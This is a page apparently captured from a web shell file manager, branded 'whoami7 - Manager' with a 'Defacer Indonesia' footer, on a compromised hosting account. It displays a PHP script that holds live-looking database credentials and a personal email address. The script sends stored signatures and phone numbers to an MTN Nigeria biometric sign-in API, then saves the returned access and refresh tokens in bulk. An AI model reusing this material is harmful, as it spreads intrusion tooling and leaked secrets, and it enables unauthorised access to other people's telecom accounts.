whoami7 - Manager
:
/
home
/
simspala
/
yoursimzone.com
/
Upload File:
files >> /home/simspala/yoursimzone.com/oritoken.php
<?php set_time_limit(0); date_default_timezone_set("Africa/Lagos"); // ======================= // DATABASE CONFIG // ======================= $dsn = 'mysql:host=localhost;dbname=simspala_yoursim;charset=utf8mb4'; $dbUser = 'simspala_yoursim'; $dbPass = 'simspala_yoursim'; try { $pdo = new PDO($dsn, $dbUser, $dbPass, [ PDO::ATTR_ERRMODE => PDO::ERRMODE_EXCEPTION ]); } catch (Exception $e) { die("DB ERROR: " . $e->getMessage()); } // ======================= // GET USER ID FROM EMAIL // ======================= $email = "mbiee4241@gmail.com"; $stmt = $pdo->prepare("SELECT id FROM users WHERE email = ?"); $stmt->execute([$email]); $user = $stmt->fetch(PDO::FETCH_ASSOC); if (!$user) { die("User not found"); } $userId = $user['id']; // ======================= // GET SERVERS // PRIORITY: // 1. WEEKLY // 2. MONTHLY // 3. ALL OTHER GROUPS // ======================= $stmt = $pdo->prepare(" SELECT * FROM servers WHERE user_id = ? AND server_on = 1 ORDER BY CASE WHEN `group` = 'WEEKLY' THEN 1 WHEN `group` = 'MONTHLY' THEN 2 ELSE 3 END, id ASC "); $stmt->execute([$userId]); $servers = $stmt->fetchAll(PDO::FETCH_ASSOC); if (!$servers) { die("No active servers"); } // ======================= // FUNCTIONS // ======================= function base64UrlDecode($input) { $remainder = strlen($input) % 4; if ($remainder) { $input .= str_repeat('=', 4 - $remainder); } return base64_decode(strtr($input, '-_', '+/')); } // ======================= // LOOP SERVERS // ======================= $success = 0; $failed = 0; foreach ($servers as $server) { $msisdn = substr($server['phone_number'], 1); $payload = json_encode([ "signature" => $server['signature'], "msisdn" => $msisdn ]); $ch = curl_init( "https://mtn-dxl-biometrics-authorization.mymtnnxgeaprod.mtnnigeria.net/v1/biometrics/signIn" ); curl_setopt_array($ch, [ CURLOPT_RETURNTRANSFER => true, CURLOPT_POST => true, CURLOPT_TIMEOUT => 20, CURLOPT_POSTFIELDS => $payload, CURLOPT_HTTPHEADER => [ "accept: application/json", "content-type: application/json", "channel: MTNAPPNXG" ], ]); $response = curl_exec($ch); file_put_contents( __DIR__ . '/mtnaccess.log', "\n============================\n" . "[" . date("Y-m-d H:i:s") . "]\n" . "RAW RESPONSE:\n{$response}\n", FILE_APPEND ); $error = curl_error($ch); curl_close($ch); if ($error) { $failed++; echo "❌ {$server['phone_number']} CURL ERROR: $error\n"; continue; } $json = json_decode($response, true); if (empty($json['access_token'])) { $failed++; echo "❌ {$server['phone_number']} FAILED: " . ($json['message'] ?? 'No token') . "\n"; continue; } // ======================= // TOKEN PROCESS // ======================= $token = $json['access_token']; $parts = explode('.', $token); $payloadDecoded = json_decode( base64UrlDecode($parts[1]), true ); $exp = $payloadDecoded['exp'] ?? (time() + 3600 * 12); // ======================= // UPDATE DB // ======================= $stmt = $pdo->prepare(" UPDATE servers SET server_token = ?, expired_at = ?, refresh_token = ? WHERE id = ? "); $stmt->execute([ $token, date('Y-m-d H:i:s', $exp), $json['refresh_token'] ?? null, $server['id'] ]); $success++; echo "✅ {$server['phone_number']} refreshed" . " | GROUP: " . ($server['group'] ?? 'NONE') . "\n"; } // ======================= // FINAL OUTPUT // ======================= echo "\n====================\n"; echo "SUCCESS: $success\n"; echo "FAILED: $failed\n";
Copyright ©2021 || Defacer Indonesia